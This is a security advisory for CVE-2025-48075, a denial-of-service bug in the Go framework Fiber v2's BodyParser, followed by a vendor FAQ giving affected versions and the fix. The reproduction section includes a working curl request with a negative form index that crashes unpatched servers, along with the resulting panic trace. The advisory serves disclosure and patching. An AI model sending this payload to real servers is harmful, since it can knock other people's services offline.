CVE-2025-48075

When using the fiber.Ctx.BodyParser to parse into a struct with range values, a panic occurs when trying to parse a negative range index

Details

fiber.Ctx.BodyParser can map flat data to nested slices using key[idx]value syntax, however when idx is negative, it causes a panic instead of returning an error stating it cannot process the data.

Since this data is user-provided, this could lead to denial of service for anyone relying on this fiber.Ctx.BodyParser functionality

Reproducing

Take a simple GoFiberV2 server which returns a JSON encoded version of the FormData

package main

import (
	"encoding/json"
	"fmt"
	"net/http"

	"github.com/gofiber/fiber/v2"
)

type RequestBody struct {
	NestedContent []*struct {
		Value string `form:"value"`
	} `form:"nested-content"`
}

func main() {
	app := fiber.New()

	app.Post("/", func(c *fiber.Ctx) error {
		formData := RequestBody{}
		if err := c.BodyParser(&formData); err != nil {
			fmt.Println(err)
			return c.SendStatus(http.StatusUnprocessableEntity)
		}
                c.Set("Content-Type", "application/json")
                s, _ := json.Marshal(formData)
                return c.SendString(string(s))
	})

	fmt.Println(app.Listen(":3000"))
}

Correct Behaviour
Send a valid request such as:

curl --location 'localhost:3000' \
--form 'nested-content[0].value="Foo"' \
--form 'nested-content[1].value="Bar"'

You recieve valid JSON

{"NestedContent":[{"Value":"Foo"},{"Value":"Bar"}]}

Crashing behaviour
Send an invalid request such as:

curl --location 'localhost:3000' \
--form 'nested-content[-1].value="Foo"'

The server panics and crashes

panic: reflect: slice index out of range

goroutine 8 [running]:
reflect.Value.Index({0x738000?, 0xc000010858?, 0x0?}, 0x738000?)
        /usr/lib/go-1.24/src/reflect/value.go:1418 +0x167
github.com/gofiber/fiber/v2/internal/schema.(*Decoder).decode(0xc00002c570, {0x75d420?, 0xc000010858?, 0x7ff424822108?}, {0xc00001c498, 0x17}, {0xc00014e2d0, 0x2, 0x2}, {0xc00002c710, ...})
[...]

Anyone using fiber.Ctx.BodyParser can/will have their servers crashed when an invalid payload is sent

Kodem intelligence

1. What is CVE-2025-48075? CVE-2025-48075 is a high-severity security vulnerability in github.com/gofiber/fiber/v2 (go), affecting versions >= 2.52.6, < 2.52.7. It is fixed in 2.52.7.
2. Which versions of github.com/gofiber/fiber/v2 are affected by CVE-2025-48075? github.com/gofiber/fiber/v2 (go) versions >= 2.52.6, < 2.52.7 is affected.
3. Is there a fix for CVE-2025-48075? Yes. CVE-2025-48075 is fixed in 2.52.7. Upgrade to this version or later.
4. Is CVE-2025-48075 exploitable, and should I be worried? Whether CVE-2025-48075 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
5. What actually determines whether CVE-2025-48075 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
6. How do I fix CVE-2025-48075? Upgrade github.com/gofiber/fiber/v2 to 2.52.7 or later.